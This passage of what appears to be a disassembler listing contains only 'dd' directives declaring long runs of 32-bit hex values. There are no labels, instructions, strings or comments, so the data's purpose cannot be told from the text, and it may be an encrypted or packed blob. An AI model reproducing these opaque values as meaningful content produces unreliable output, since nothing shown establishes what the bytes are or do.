		dd 59166A60h, 0F2D5F75Dh, 0C9F159D1h, 73A6323Bh, 0F016BE3Fh
		dd 0C121E4A2h, 38813918h, 0FC474D8Ah, 0D6F70909h, 0C5AAA8E9h
		dd 35CE0F82h, 0F4895E0h, 3D4E0389h, 48065A5h, 4EFFEE83h
		dd 5A5FDA8Bh, 0C509DB0Ah, 9D8B559Dh, 268A5A51h,	834B5067h
		dd 0CF8797C8h, 4EDA6D3h, 0D905E810h, 0EFAA0925h, 49BF0EE8h
		dd 2DD82914h, 2EFD4207h, 2A78207h, 5F6F7FBEh, 54B0CA1Ch
		dd 6CD5B041h, 0CB218450h, 0DB0B2C59h, 66300996h, 0A83C41C8h
		dd 4E823C9h, 0D0B832DAh, 0E3FD01B3h, 85E90904h,	97352FDh
		dd 0A092FC2Ah, 0ED81C3DEh, 70F14E66h, 0C189D13Fh, 2E4BBC02h
		dd 3582797Eh, 40DD0156h, 0B32FE2FCh, 27F724FCh,	17FE6714h
		dd 6A215581h, 0C1DDABE0h, 61B96684h, 0CE01D0C3h, 29120195h
		dd 88B5EF2h, 0CE085AD0h, 68834F2Eh, 5FE25743h, 4C0F6776h
		dd 0F3816119h, 9F0617Fh, 745B7DDFh, 0E718C3F7h,	0A1431CEh
		dd 2DFA70C7h, 0BE7385D4h, 0F719A9E2h, 51B1A85Eh, 891232C0h
		dd 76204F1Bh, 0E3898F34h, 0F90977C5h, 8EF4DEC6h, 0F866CFFh
		dd 0E0C8BF2Ch, 76945939h, 0F9B27A27h, 0A16E43F6h, 292D1603h
		dd 0A11B8C55h, 0E16258C3h, 0AE1A027Fh, 553F681Dh, 1E4F51D6h
		dd 0F3414DCFh, 2CBBD509h, 58C1DA3Ah, 0A2EF3E7h,	0C380853Ch
		dd 0B58DC2A9h, 50EBDC61h, 6E0768BEh, 52ADE916h,	862446ADh
		dd 0DEF60D1Fh, 640CFD0Bh, 56005971h, 26DCB850h,	23529EDh
		dd 3C0B0151h, 0F161E8D1h, 257D248Bh, 6F22DF09h,	0C1A9090Ch
		dd 383A5D9Dh, 99B92C40h, 42B07BA5h, 0E7D6E0E9h,	0F876EC25h
		dd 0BA545870h, 0CD9698A5h, 0F9ED2054h, 180CD6A0h, 412E7B2Fh
		dd 0F205A86Dh, 3B668288h, 0A09F02C8h, 4A5DD109h, 3141002h
		dd 836421BDh, 7EB40435h, 804ABF40h, 4110D0B0h, 0F4E91B13h
		dd 0FE440B25h, 8003F28Fh, 0C598B4EDh, 0EB272808h, 51B6E059h
		dd 0F4B62752h, 0AF02AD62h, 0C409F73Eh, 0BFB124C2h, 0E5828B60h
		dd 534A0FE6h, 54C9C0A7h, 5D5AB77Ch, 482AACB8h, 0F3F9428Ah
		dd 7E0211A6h, 59E9EA0Bh, 0F7D498C5h, 570BD2D1h,	9078F744h
		dd 0B99F404Ah, 99210617h, 8769ED09h, 0EA37160Fh, 5F0854EEh
		dd 4AE97228h, 0EEEAB4A0h, 79A14316h, 9F55EC2h, 0E660C4D9h
		dd 96F4632Bh, 0B8170C4Ch, 0C09F641h, 80210A42h,	0CF8B5EE1h
		dd 44294E5Ah, 0EF54B3A7h, 0D9314121h, 1822FD31h, 6DE95605h
		dd 10C5E467h, 942778B4h, 0AEB8098Fh, 0E005536Fh, 0C1D8A4A5h
		dd 8B457B0Eh, 0AEC9C021h, 7D256F57h, 6440B2E9h,	0F0C36852h
		dd 0E3296834h, 45A1D164h, 0D32C7128h, 166D395Ah, 102FCB3Eh
		dd 9486574h, 3762A01Dh,	8B95DEA3h, 2C4E1C77h, 7AC81F77h
		dd 5F875C62h, 925892DFh, 2C8553E1h, 0C0491299h,	80A1B6D2h
		dd 2E0EEE58h, 0B22422F0h, 0D7A54E62h, 5E515320h, 95A4791h
		dd 0FB6BDF81h, 0A515702h, 770F8CA7h, 9606935Ah,	0E1A0CD54h
		dd 0A0462CC7h, 0A62DC368h, 1E92DC7h, 0EC803301h, 5C4CCFEh
		dd 81DCCDF7h, 3F76BF7Fh, 0CBEC3D33h, 0BA3CC943h, 0F0D38319h
		dd 6BC04BBEh, 9349ACF6h, 604EBA29h, 649D14DEh, 0B7B0064Ah
		dd 2963DD5Eh, 0A9D07AB8h, 2520578Ah, 4968B538h,	5C370FC6h
		dd 0CB65EC88h, 2F144783h, 174B31B6h, 1CD61FBAh,	49004024h
		dd 7C29509Eh, 30C59824h, 0C59D0378h, 0A63D31E4h, 0C63E9953h
		dd 30E5EDF7h, 602B2F70h, 0EC777E1h, 681F6E06h, 16CDF01h
		dd 0A130C72Dh, 20551DB7h, 6F4F5876h, 0F9BD5509h, 0A809A661h
		dd 0D2169656h, 0CD0F27D7h, 6031395Ch, 0CEC997D1h, 193E8D30h
		dd 86053CC1h, 5F3B52E1h, 8B0EF20Ch, 14F271F2h, 2A0DF504h
		dd 0CCC04CAFh, 12E84233h, 84B2E94Dh, 9D30AE21h,	2E44C2BBh
		dd 3442B7h, 200C4FBAh, 0E64EFEE9h, 6038638Ch, 6BEB5FEDh
		dd 9F4B073Ah, 0B293FAA4h, 1D7E02Eh, 2CB4505Ah, 0F934C780h
		dd 68066457h, 1925C827h, 29653BB5h, 6053443Bh, 559059Dh
		dd 56F04BBAh, 0CBA96BA9h, 39C59A84h, 622D3B3Dh,	69B8D3E3h
		dd 474F828h, 0C45FD6F6h, 29A43235h, 0B7E5D2F4h,	30131377h
		dd 12AD6FB4h, 815D2669h, 6BB0A5B0h, 0BC3F4BD3h,	247D9AADh
		dd 43052173h, 0F519DBF2h, 4E553741h, 0D84C176Bh, 9C6BE6FCh
		dd 0C7105F5h, 63C497BCh, 4EDCE236h, 0E9860FE2h,	0BB035541h
		dd 0CCA4DDADh, 0C904A501h, 13A37Ch, 326EC272h, 0CAFE5451h
		dd 8836BB8h, 6EC0964Fh,	7909665Ah, 0EE84ACEh, 0BDB2C17Bh
		dd 0BB538054h, 0C0B5936h, 5BD8216Ah, 0B727EE12h, 0EC1209FCh
		dd 0E539F306h, 0C9740224h, 0C091C4CCh, 0E49C6089h, 58542509h
		dd 0F1AD02DBh, 0EDE942A5h, 2D00E3D8h, 326107F6h, 945BE56h
		dd 464F6667h, 7F772180h, 4B985083h, 1C5C3971h, 80202769h
		dd 0EDB205B7h, 364F5840h, 0F3295805h, 0A59C015Eh, 8011680Ch
		dd 0F0350B0Ch, 9492E940h, 30E02740h, 5ABC1487h,	0C9838F49h
		dd 34BBA255h, 953EC66Dh, 1D1B15C0h, 2841BE80h, 99944A28h
		dd 0E00B0AB7h, 5360A581h, 2D2057D0h, 0A8340966h, 7CF499D2h
		dd 0B504680Fh, 80225B2Eh, 466029F1h, 58809EF6h,	0B0C9845h
		dd 201C0982h, 0E9254F50h, 31B5E0B5h, 4B9098F0h,	2CB68A0Ah
		dd 0C9A58C36h, 0B95550E0h, 41FE97F0h, 35513163h, 0AA8A2E74h
		dd 8A40A24Bh, 15ACE95Ch, 7414555Ah, 0C5B78B7Ch,	555469D5h
		dd 20391239h, 109C4E6h,	0F5F95BD9h, 45EE38B5h, 0BEDFE976h
		dd 307F4C29h, 6928052Ch, 296BC305h, 7152DF0h, 795E2D78h
		dd 0E6044983h, 2E510969h, 0DCEA6911h, 0A80E4D2Fh, 0C729FD19h
		dd 1BC4E64Bh, 12B71FD1h, 30E46731h, 13E8BD29h, 6599C8BEh
		dd 0BDC83112h, 47B441E1h, 0E241F446h, 9FFF49F2h, 289AA88Dh
		dd 1BFCD1FAh, 2CB159Eh,	0F5C97BBh, 0A506269h, 4041592Fh
		dd 1FC90675h, 720129Eh,	3D10574Ch, 2E8E8334h, 0D55BDF89h
		dd 0C072C2h, 1D24DD05h,	0F2D3D02h, 0E2612844h, 40909342h
		dd 5BACA65Fh, 0C84C909Fh, 455DB768h, 0A9438CEAh, 4872C159h
		dd 0F0399C1Ch, 57AC6B45h, 0CC1F7ECh, 0FE01FB7Dh, 0F917807Ah
		dd 0F95D578h, 0D50D9A81h, 23F1E089h, 53F149E9h,	17948B2Fh
		dd 5BAC289Ch, 43E35EA2h, 2FC4349Ah, 0D449700Fh,	2CDE6916h
		dd 795A0DCh, 897DBB6Ah,	2E69D2FDh, 32F5C0E8h, 747C962Ch
		dd 29122A10h, 4C11CAEBh, 8B9E2F4Fh, 3EF74CA1h, 0DA4A3A68h
		dd 9B53246Ah, 0F4F4DAC4h, 5EE44015h, 5A4AD3F6h,	0BACAE48Eh
		dd 0EDEB9612h, 0ABE91348h, 0B24A1EACh, 0F9B6C0EEh, 3980CEFEh
		dd 0F68501E6h, 0EFF328CCh, 25ED8E10h, 0A460D30Eh, 8EB713Ch
		dd 9D34AE9h, 44445D7Ah,	7F82C5ECh, 0A882B905h, 0B6D340F5h
		dd 56C2899Fh, 12875163h, 263BD6ACh, 4B897A53h, 4A5AB4C0h
		dd 0D83D8497h, 0A95FAC13h, 353EE335h, 0A4E4808Ch, 3B7FD321h
		dd 232C29Dh, 0EA06E908h, 0B8CE170h, 1133A28h, 885125F5h
		dd 84D6538h, 22BD7D20h,	98A42Bh, 5AF2D5Ah, 172B40Eh, 6407B4F8h
		dd 5100A054h, 0ED800CB5h, 880F2C04h, 58E93871h,	0B0066333h
		dd 99678DE0h, 0FE0430C2h, 0C2B8F45Dh, 0B0001C08h, 58E0C0E1h
		dd 5E254403h, 0C8ADD471h, 5423682Bh, 7A550D6Fh,	6E840551h
		dd 0BF593354h
		dd 80A7F549h, 8F0F243Ch, 8C75B4D2h, 9A75174Dh, 0F3BEAA54h
		dd 0CEAB560Fh, 29486982h, 0C856B4BAh, 311EA8F8h, 4A7695FBh
		dd 5BEB54F4h, 502513B3h, 207190D3h, 0BA00D169h,	0F16035B7h
		dd 2C68992Dh, 149403E1h, 5A090705h, 6034C289h, 990C8369h
		dd 0ACB9C299h, 0CA220880h, 28BDE94Ah, 0C1EE139Dh, 0C92BCD42h
		dd 344AE0A8h, 6F66669Dh, 1785508Fh, 0EE35D3B9h,	27DF28BAh
		dd 16E2CBC4h, 46A17CD8h, 3A4166D3h, 0D42129Eh, 4167D473h
		dd 2D188020h, 104E04C4h, 0F6C73106h, 59AF46D2h,	0BF570022h
		dd 2F5518B9h, 9CE78102h, 0E1734170h, 1C7969C5h,	4DBFCCDEh
		dd 9764530Bh, 23AE6648h, 151349C4h, 1802E1BDh, 546C3157h
		dd 82F6493Eh, 0C9A8E012h, 32A2BFA2h, 68076782h,	86161109h
		dd 5F31BB64h, 0D4012454h, 0C340A3F2h, 254719E9h, 1B40590Ah
		dd 199D698Bh, 0A1340AB2h, 58522450h, 0D9F00B6h,	0A5053307h
		dd 0DC4F4D3Ah, 6AC8034Bh, 0B40126F6h, 80E6D84h,	0F53CC558h
		dd 3F845BBh, 0B10606B7h, 0AD4E870Fh, 0A6E6E116h, 12E864h
		dd 968C0F4Eh, 0EEC3C03Eh, 0E8850BF0h, 5EF1890Eh, 0E12129C6h
		dd 63A4B454h, 1165023Eh, 8C21ACAh, 3500B4F5h, 0BF32CFA0h
		dd 7D3621Fh, 124E9310h,	81DD627Eh, 0CB52607Eh, 272DE959h
		dd 816FDB38h, 0FF23F0BDh, 1C5EC70h, 0B0F94B9Dh,	5E7A7B97h
		dd 2048F334h, 3344E72Ch, 0D8E90E44h, 0B77864E1h, 0CDC0EC16h
		dd 43AD3026h, 0C4E1C180h, 1FD197D4h, 0D63A8C4Bh, 39C46FE9h
		dd 6B05895Ch, 685E8741h, 4569278Dh, 8E2B61D2h, 0C6398E65h
		dd 8D8C42CFh, 0CA1F6289h, 75C6093h, 51252F1Fh, 804006Ah
		dd 0AB62C05Fh, 3A12DA24h, 34432CE9h, 0BEEF8B0Fh, 0E2674963h
		dd 0F6C9FE00h, 5D5153D1h, 76CF58C1h, 0F62402AAh, 0F4AF4141h
		dd 33028CCAh, 890F73EAh, 0BE2A5E69h, 2355D600h,	0FAD9E91Bh
		dd 0B4582EC1h, 867E5CB3h, 224061Fh, 0B502EA4Fh,	0E017CA6Fh
		dd 252CB907h, 155411CCh, 89BDC822h, 27AAB441h, 0F6F8015Ch
		dd 17C5D3Ah, 27742D48h,	0C8F416A3h, 0E907A105h,	906AF7C5h
		dd 798FEE54h, 295AB20Ah, 820ABCEh, 8761E92Ch, 3D5C59AFh
		dd 0F7CFF218h, 84046FF1h, 0BD55108Ch, 29AF49FFh, 3C248B8Dh
		dd 0BF53C4ADh, 5F64AFh,	3FC9C1C6h, 11233D7h, 0C4C56F9h
		dd 7CEF61ADh, 547C3FCAh, 21DACFB4h, 2FD7E908h, 84AC2D0Bh
		dd 0B996DC3Ah, 0BA3A4CB8h, 2A02D78Bh, 0DE7944FDh, 2543E1A5h
		dd 0E2FDDF5h, 7A8E80CCh, 0FEF1F361h, 0C5EBE0C3h, 5EA81A1h
		dd 82E765BFh, 0E92224F5h, 0BDE9683Dh, 693E133Bh, 14208146h
		dd 0F5042416h, 0FA7F0916h, 0D985B205h, 0C50261F9h, 8825B96h
		dd 0EAB286FDh, 0EFB62D6Fh, 0E941337Bh, 44282699h, 5C29558Fh
		dd 0F70D78E0h, 17A75B05h, 36BACD68h, 672F26BBh,	0AE46F337h
		dd 32E961D2h, 38BF64DFh, 5D881C16h, 81013EECh, 9737D0C9h
		dd 0E1C7A36h, 2481BE92h, 0EBC9E3D1h, 15A10320h,	816B7973h
		dd 57B5DD16h, 9B44C195h, 0E2302F67h, 3CEE4E74h,	384C8B2Eh
		dd 0C0E829B2h, 8800E681h, 0F1F7B60h, 0B6F54B82h, 0C1950B5h
		dd 58C237C5h, 55AF4C0h,	0B6541E72h, 0DBE81432h,	13F40841h
		dd 44C92D4Ch, 68509158h, 2225E908h, 0B2CB3427h,	12930BB2h
		dd 0D5633D0h, 0AA2E1D8Fh, 801087Bh, 13F091Bh, 115D96Ah
		dd 4057550Ch, 5A8F1280h, 5E95F12h, 3EDB0h, 57533862h, 26736850h
		dd 583B0A00h, 0AC161335h, 64E9250Dh, 985793C2h,	3BCE8124h
		dd 0C46F0697h, 0BA013AE8h, 69C54D65h, 16CE6030h, 0E577663Fh
		dd 160804C0h, 5ED203F0h, 2A064F0Eh, 23B06384h, 7E97000Ch
		dd 0C3013C24h, 8AABA52h, 4AB4C0E5h, 8CB21F56h, 844E3390h
		dd 0A4C1C13Fh, 28AC2957h, 0F05B8532h, 23969740h, 945A026Ah
		dd 0CCC3C0E9h, 1561A23Dh, 136AE986h, 0D54763Bh,	89EF8727h
		dd 426CBB1Eh, 0E9091718h, 65EEAF09h, 0D1215D15h, 0A8B6D973h
		dd 0AAF0252Fh, 34D73921h, 30CA2901h, 4B13C1D6h,	0B0B86A76h
		dd 0A431ED0Eh, 25D8F7A0h, 780C06ECh, 59CEE919h,	2CAD7F05h
		dd 27954D7Ah, 8CA0DD15h, 8F4AF93Dh, 0C3D2F778h,	0B32B27E2h
		dd 0C1DAC263h, 0CCE08443h, 690CE1Dh, 620A120Bh,	548718ECh
		dd 232B685Ch, 6F00D479h, 0E95DDA6Ah, 4C17B2C6h,	1A105F4Dh
		dd 5F23583Eh, 5EE2890Bh, 558A85D0h, 82DAE39Ch, 0B22B3E9h
		dd 34AA9749h, 0E230C1D9h, 3CA89C04h, 25397EF8h,	0F0D1435Dh
		dd 80685684h, 5554BAD2h, 0E9253FB4h, 4C4C8B4Fh,	52349C2Eh
		dd 89252F73h, 58BE5EE5h, 19557AE9h, 0F364D4CEh,	0C1292B05h
		dd 0A4818158h, 103A4A7Bh, 841CB21h, 6A7A0C80h, 7CE9354Bh
		dd 31171996h, 0F2A0D317h, 2DE80F29h, 74293CE0h,	1A7D4D32h
		dd 1F896054h, 83DE82D4h, 765BDDC2h, 58E90972h, 42FDE842h
		dd 1F83DCA3h, 2B602FC0h, 0F18853B0h, 7087813Fh,	0AB40C060h
		dd 6489F5Fh, 56174214h,	38E9593Fh, 0A0E1F784h, 0BBAC57E2h
		dd 8F996BF3h, 686BC06Ah, 0D1957B8Eh, 0ED81622Ch, 7FA6DC76h
		dd 3E34C400h, 0D0D5291Fh, 0E912081Ch, 0B635840Bh, 0E2F53112h
		dd 0D18959FEh, 5F54A298h, 16792C4Ch, 1770B7Bh, 0F4848B71h
		dd 0B0053A88h, 31BA2CFEh, 814CCCF8h, 2058C595h,	0D560506Ch
		dd 0C935127Dh, 72FABC2Ch, 54812D65h, 76662DC2h,	0F53E3D74h
		dd 0B5515801h, 0C8A72C9Ah, 0E84B2822h, 1D6E9FC7h, 0B7530EA0h
		dd 0E945F6D7h, 0F8F0945Fh, 7231A824h, 8C768F8h,	0B45F15BAh
		dd 0E9D0F781h, 3EFFAA13h, 20923F0h, 0D15A1A91h,	9DF1A8D0h
		dd 96C1FA1Ah, 0C4FD7CE8h, 18B3515Ch, 355024h, 11D92B80h
		dd 0E01307B8h, 5EFC3DD4h, 30CE982h, 0AD3D25E5h,	0EC0D5920h
		dd 0C825E961h, 62A654E1h, 7371EF89h, 83CB810Eh,	0F230946Ch
		dd 74356A0Ah, 0AF83711Fh, 2D8B160Ch, 0B58093E9h, 9B2E6DBAh
		dd 1F6F4A48h, 47532BF2h, 11A09101h, 0D9F34CC1h,	893067B6h
		dd 5AB90751h, 0C02C8217h, 0A72965F1h, 0D9F70C13h, 6A5995E1h
		dd 817A12E9h, 7D513EEh,	0E82CC6D5h, 1DF05B31h, 2406105Eh
		dd 638CA35Ch, 9BF4E27h,	0EB76D89Fh, 9EA4045Fh, 1EDADF4h
		dd 3597C875h, 945DEE89h, 81BC4F44h, 1A1F583Ch, 6328DCEDh
		dd 26616807h, 1249CF17h, 0D3881BA2h, 0C01286F4h, 0C2ECC7C4h
		dd 6C13B0D3h, 0C2162248h, 7E77FF5Ch, 6859821Ah,	0F1A2407Ch
		dd 730A4701h, 0D1F65631h, 7520CBD1h, 10C33380h,	0D8F3501Ah
		dd 0FEAD81E4h, 60EBDDCDh, 0B1B632ECh, 699427BDh, 6130D439h
		dd 0E9F18AD0h, 0D1570E12h, 0B493FBE8h, 0F2441156h, 6E3639C6h
		dd 90F8552Dh, 458A260Fh, 0D1C9A01h, 14051C08h, 79C0E916h
		dd 5B37800Fh, 85C9B3CDh, 68FD54C7h, 194B588Eh, 0A7343672h
		dd 0B0F93A8Eh, 25C7B796h, 4274D957h, 0E3A280E9h, 0A4CBD5F7h
		dd 720AABD1h, 0E459341Ch, 9E769BB8h, 0DA766996h, 0B2788552h
		dd 292A31B1h, 937CFEEBh, 527469h, 484C740Ch, 2A029D0Dh
		dd 0E0E94A31h, 5867A4F9h, 0AFD236E2h, 5C317332h, 37D83F48h
		dd 2C2CD81Dh, 8BCE3FD6h, 436809E2h, 0A769D161h,	0C72FB164h
		dd 0B539C658h, 0DC59FA40h, 0E1910F82h, 656843EBh, 0B46551A8h
		dd 0B27B2D53h, 90B9608h, 0F885C580h, 0F549C1CDh, 0BF805E3h
		dd 0ABC2659Eh, 53240BFCh, 0EAAA9F03h, 0B3DDF1DCh, 0EEFBD564h
		dd 1A3B587Dh, 692952CFh, 2C389050h, 0A7F03CDCh,	0B8D280BEh
		dd 255A5B6Ch, 0FFD80971h, 53232625h, 84D29089h,	57008D87h
		dd 0B85E82BFh
		dd 50C0A94Ah, 6C2EB81h,	15B5462h, 881A2CBh, 65C07E59h
		dd 993941E9h, 4D170005h, 890F0CF8h, 7A91206Ah, 7D1BBE3Eh
		dd 0B5F7019Fh, 0F22B5B28h, 42F9933Dh, 0B41EFDAh, 0E530011Ch
		dd 0BD280D48h, 0BD685D22h, 0E91F985Dh, 9D5C4A73h, 463FA1Bh
		dd 44B7E5C8h, 0EE4DD926h, 8A16BF34h, 0C8F64C0Bh, 2775F526h
		dd 5C605085h, 53BEAC1h,	33BE58F7h, 13D95129h, 106E11Ah
		dd 2771FAD4h, 0FCF16A2Eh, 99E34981h, 4175A15Eh,	47420CA7h
		dd 0BAEFC5DCh, 54F0A752h, 32CE4F4Ch, 0F1F88954h, 0BC9DC79Fh
		dd 1F26C3ACh, 23BD4DDCh, 441CD00Ch, 0C201711Fh,	851B9h
		dd 0A2207EDh, 0CF0F187Ch, 796D37h, 0E901EF83h, 9CF75EADh
		dd 451DBB0Ah, 9998F06h,	5EFEE9E6h, 0C32C0E47h, 0C110D34Bh
		dd 0D8824818h, 2EFB9557h, 0A45A79C9h, 4FF20102h, 2F297C96h
		dd 2EC1DA94h, 0DC3F15C7h, 43BD6666h, 0D38C9216h, 73CB2DF6h
		dd 747839F2h, 2EE75C4Ch, 0F41D80CBh, 853CED9Dh,	0D5F681E5h
		dd 38BA84C3h, 0FD244A16h, 93D24D3h, 16536003h, 12E45BADh
		dd 824894CAh, 0D820920Ch, 978EC2Dh, 0C3094968h,	0D3F33101h
		dd 3A56F979h, 8CBA38C4h, 0D15FE9CCh, 0C6BE640Bh, 780A0243h
		dd 0F501730Eh, 801B9C2h, 2A5B7AE9h, 0B24A75CAh,	0D2AE4925h
		dd 94A8A08h, 63E477B6h,	0DAFD2841h, 4AE4063Bh, 0F27BEC42h
		dd 0C64F730h, 5CE76545h, 12004D61h, 5502283Dh, 11096FBDh
		dd 24D220Ch, 0D656539Ah, 0B008494Bh, 845C926Eh,	4AFDB8F2h
		dd 0F14F498Bh, 868A6A40h, 1A8DE909h, 0C71E4452h, 0AF92EE30h
		dd 0CA8729C1h, 2D21D3Fh, 5A595251h, 0CE26BA40h,	5EFC6D25h
		dd 0D55A2FE1h, 9B2ACC20h, 0BA528079h, 6DE63EC4h, 1702B8B8h
		dd 0E9266C10h, 686248E3h, 47F1953Dh, 5CCCB089h,	2391149h
		dd 0E906EDC0h, 0BA95579h, 0D1265870h, 71ACD88Bh, 965308h
		dd 5C1DF781h, 0E09F44B5h, 18EA015Eh, 3F91CBE9h,	31250EE8h
		dd 897C6FC8h, 0A9542BB3h, 5E123F62h, 8AA150F3h,	0F2F379C7h
		dd 683BE0D2h, 0B8CF3153h, 488B465h, 0EF2AAA68h,	11E11371h
		dd 0BB80B162h, 20C14D4h, 0DD054CDh, 55225A21h, 0A8D8E012h
		dd 0F2F8D30Fh, 200914D2h, 74184609h, 59B5835Dh,	0E908C064h
		dd 3BDC61B1h, 0D07BA1BEh, 5EEEF221h, 0D27E3AFCh, 0A6CE6FFFh
		dd 0ADE1A92Eh, 9D9489Bh, 2A646BF1h, 0A451AA0Fh,	2200AD4h
		dd 6F7BB5FEh, 35C01C5Bh, 25880F47h, 6F5A4ECBh, 0D09BE069h
		dd 685117D2h, 9383505Ch, 866B5620h, 0BED1541Ch,	0A625352Ch
		dd 980E0824h, 66ADC196h, 0FA90D662h, 0D1F3BF00h, 290D2464h
		dd 26C22DE4h, 798D5C86h, 282DFDB0h, 52C79F0h, 83896664h
		dd 0E9A6AEB9h, 0EDD34C4h, 0CCB1DF4h, 2590270Ch,	5B0103EAh
		dd 8D0F75ADh, 493E9628h, 4678A67Ah, 3E0C100h, 70B10C2Dh
		dd 17C89DB0h, 0EDDD244Ch, 0E3B1E858h, 209D585Ch, 25B3EF00h
		dd 0FB89BA47h, 6A016BFh, 152A2EE3h, 0D9010C61h,	0F515469h
		dd 38D35582h, 0E00BC325h, 97E1BFF3h, 36D86E21h,	0B4862AE9h
		dd 5E82B586h, 2E7AE6ADh, 0D6892D25h, 25266A17h,	1BBE0D00h
		dd 3E4C8A78h, 5AF41C3Ah, 45E93382h, 0C213CAD7h,	6968544Eh
		dd 0E989C9CFh, 0B5307847h, 477A38Eh, 92B3DB7h, 20B3D066h
		dd 0AC0788E4h, 0C01EB151h, 893B07A7h, 3A20000Eh, 795BF908h
		dd 0B01B7380h, 506D29Ch, 89388757h, 2B25F837h, 0E1814700h
		dd 1709417Dh, 3B96B049h, 78D011Ch, 96C6C131h, 411C8095h
		dd 0F25CFA18h, 6070FCAFh, 72BB1C9Bh, 207AEE5Eh,	0C715CF6Ah
		dd 734B2101h, 86704570h, 0C72F187Fh, 0B440C2Bh,	0F7211E09h
		dd 83D600DDh, 0BDA8DA9Ch, 0D331CF60h, 70FD5A7Fh, 0E50BCDDFh
		dd 0E072D62h, 6F5E2E57h, 82B0F60Fh, 0B54B9289h,	1F8F46Ch
		dd 0AD8E86B5h, 2D130E8Ah, 0C46135DBh, 0E0169E38h, 82275F08h
		dd 4E187018h, 0FD781614h, 0A3F2B4CCh, 0B2498CD4h, 0D6F2893Ah
		dd 2D068AC0h, 0A1C96421h, 5025D38Dh, 2F38CA3Bh,	276ECC5Ch
		dd 20F95DEEh, 89C68180h, 0B049413Dh, 0A2EEF0FAh, 0CBA97C08h
		dd 0E49756DAh, 80C67A8Ah, 5F4AFE31h, 598B32A2h,	31440779h
		dd 0D3A8CFB0h, 0B85AA43Dh, 5A4BD3BAh, 57109EECh, 48735892h
		dd 0E5502E19h, 0D5E8A417h, 244578Bh, 5C843C43h,	6D34E9FEh
		dd 0F32E3C0Ch, 0A905C088h, 9D03376Eh, 0A0AC5FE2h, 85A03551h
		dd 16F41DF8h, 7428D0B6h, 4C2A7C1Bh, 15ADB0FAh, 1B7F4829h
		dd 3219D0Bh, 0AA278AD8h, 0DA733B95h, 0ABBBCBA7h, 5652452h
		dd 24B24E20h, 81D7B42Ah, 0A7CD534Eh, 0AAB02430h, 17D40BDh
		dd 4B11F4C8h, 8471F2B9h, 2C4B4CB6h, 55A8E365h, 3DC9F05Fh
		dd 1FBA0E40h, 430102B4h, 324A850Fh, 310942C4h, 6186D3E6h
		dd 0F530562Eh, 0BB4D2BE9h, 0B21123Dh, 475066F7h, 0F781B885h
		dd 7ADF68E1h, 0C1920A68h, 5162E97Ch, 0F0D568D6h, 5D761A42h
		dd 6ACC054Bh, 5429F45Ah, 5BA68854h, 55DE2E5h, 35136841h
		dd 12C32AFCh, 0AA8D725Bh, 0D8F60B2Dh, 0CAB80CE4h, 0A1BA179Ch
		dd 9225596Ch, 0AA8BB5ACh, 5EB7ED4h, 712D0BFEh, 822AE72Fh
		dd 0D59A26E9h, 0A1FA45A5h, 54C83008h, 13B2C85Dh, 0A90108E7h
		dd 84F303C7h, 0BD6F6420h, 0CA5A9DC9h, 45FC63A9h, 3CA25D72h
		dd 0A5710E54h, 169C6804h, 0C6C079ECh, 31729033h, 560A47D3h
		dd 189C3A3h, 751A57F8h,	0D6FA048Bh, 91078898h, 165E262h
		dd 3737C06Bh, 4FE9E49Dh, 0E0AB137Fh, 3BB624BCh,	59AAF64Bh
		dd 6D38C5E9h, 64E8A558h, 721D57B3h, 7B076EDEh, 7502E2BFh
		dd 0E4F15096h, 5F9690D7h, 4C9CF717h, 622620BCh,	0AF2C7831h
		dd 3E63F6Ah, 0EE85C3FBh, 3C7EB42Dh, 3425E946h, 85B0A9F6h
		dd 55A135D9h, 8AF4706Ah, 6D0004D2h, 0D725EA81h,	4A5203E5h
		dd 8A31B45Eh, 2E20C141h, 710558ABh, 476F7660h, 0EAB20CD3h
		dd 0B575CB97h, 39FE4F94h, 70FE2943h, 822960B6h,	12E0DC69h
		dd 4329FA85h, 0CE130h, 2518C975h, 1A885C58h, 2DD0F700h
		dd 0DC47A34Dh, 0E9C61631h, 852A5193h, 0E9EB284Fh, 0B7481D20h
		dd 0E6971DEEh, 0E057985Ah, 69B2D47h, 38803BE2h,	10B20A57h
		dd 8A0E79Eh, 250513Fh, 0AB4D4EBFh, 8600D53Eh, 54A78BB9h
		dd 34815E4Ah, 0C03AD1F7h, 16144540h, 0B0D12EEDh, 0C52F097Ah
		dd 5F20BFFCh, 288D0F40h, 160702B0h, 0C1A77F81h,	50468C79h
		dd 180454E9h, 80623067h, 0B652A430h, 21E912AAh,	51DBE2D1h
		dd 3719E81Eh, 0B8C18380h, 40334BBCh, 285DC679h,	312C9CFDh
		dd 0D75A99F5h, 0C201AE02h, 54A722D1h, 5FFAC299h, 0C5A2FEC5h
		dd 0B0C1845Fh, 0BE0283EFh, 913E53C0h, 6F368EB7h, 995FEDDh
		dd 0F4F201FEh, 427B1959h, 0C005BFF0h, 0EFA9ED19h, 0A6BCC3A2h
		dd 13E6BA30h, 0CBAE510h, 7C7D4308h, 0FE80A002h,	5F59422Ah
		dd 0F101C7C8h, 0B340B590h, 1DD905Fh, 658A69CBh,	3307C668h
		dd 87F44F49h, 40845BE9h, 0E381D3F5h, 0B8244A65h, 5D1A0B1Eh
		dd 0E947680Dh, 0A3E65F76h, 37D89231h, 0CA474A75h, 4E111653h
		dd 276856C8h, 3DF15712h, 515A908Ah, 30104BCh, 34C23B76h
		dd 7D80D5DEh, 2114880Fh, 46E5FDEh, 0E827B10Bh, 83D0ADD7h
		dd 8FD428ABh, 8BD05C6h,	0E912851Fh, 1CE809AEh, 560BA182h
		dd 3DD55409h, 25E88DEh,	0CE644DCFh, 0EA22F88Bh,	0F1258608h
		dd 0FABD7482h, 52A53D62h, 0D98D715Ah, 26402BEBh, 40B13C1Ch
		dd 9E0DF84Eh, 820F0E7Ch, 0E6D9EDA9h, 0C5B0C864h, 5C5009B6h
		dd 2544C683h, 0E107A1h
		dd 2C0FCFFEh, 81E4E38Bh, 0E9DEC780h, 0B2C38BBh,	0F9763268h
		dd 839A8922h, 9B888451h, 0FD5B17C7h, 866786C0h,	0E2D10F18h
		dd 0D7BA6851h, 4B57E84Ah, 0C40C00E8h, 10DAE71h,	0E93F53F9h
		dd 0D359D82Dh, 45AA3924h, 2D824857h, 4EA68E0h, 0D0E7C85h
		dd 0B54FC81h, 615F5E02h, 537B210Bh, 395253D5h, 7AD96F85h
		dd 4CDFCA7Eh, 9AC927CEh, 860405Eh, 0C393C9A7h, 0E744585Ch
		dd 4604E5A8h, 0E45D8E0Fh, 7304F664h, 898DCBE1h,	0A4F5CC81h
		dd 85199005h, 68804DC1h, 6F2355F0h, 9DFD020h, 506F4F29h
		dd 0BF624E89h, 4B151655h, 0AAFC8496h, 0CBE090C7h, 7ECD0CD4h
